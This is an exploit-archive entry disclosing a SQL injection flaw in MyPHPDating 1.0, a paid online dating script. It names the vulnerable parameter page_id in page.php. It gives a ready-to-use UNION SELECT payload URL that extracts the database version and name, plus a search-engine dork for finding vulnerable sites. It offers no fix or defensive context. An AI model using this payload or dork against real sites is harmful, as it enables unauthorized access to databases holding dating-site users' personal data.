[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MyPHPDating 1.0 SQL Injection Vulnerability
# Published : 2012-01-02
# Author :
# Previous Title : Barracuda Control Center 620 - Multiple Web Vulnerabilities
# Next Title : Wordpress Mailing List Plugin Arbitrary File Download


MyPHPDating 1.0 SQL Injection Vulnerability  
==============================================__________________________
       Software : MyPHPDating version 1.0                                
       Date     : 1/1/2012                                           	  
       Vendor   : http://www.phponlinedatingsoftware.com/                  
       Demo     : http://www.phponlinedatingsoftware.com/demo.htm           
	   Get App. : http://www.phponlinedatingsoftware.com/order.htm           
       Price    : $149.00	                                                  
       Dork     : "Powered by MyPHPDating"	                                   
       Author   : ITTIHACK                                                      
       Home     : http://ittihack.com                                                            
==================================================================================                
                                                                                  |_______________________________________|
Vulnerable file : page.php                                                                                                |
Exploit         : http://localhost/[path]/page.php?page_id=[SQL]                                                          |
                  http://localhost/[path]/page.php?page_id=-1+union+select+1,2,3,concat(@@version,0x3c3e,database())--    |
==========================================================================================================================|

 
 Greatz to: Reinie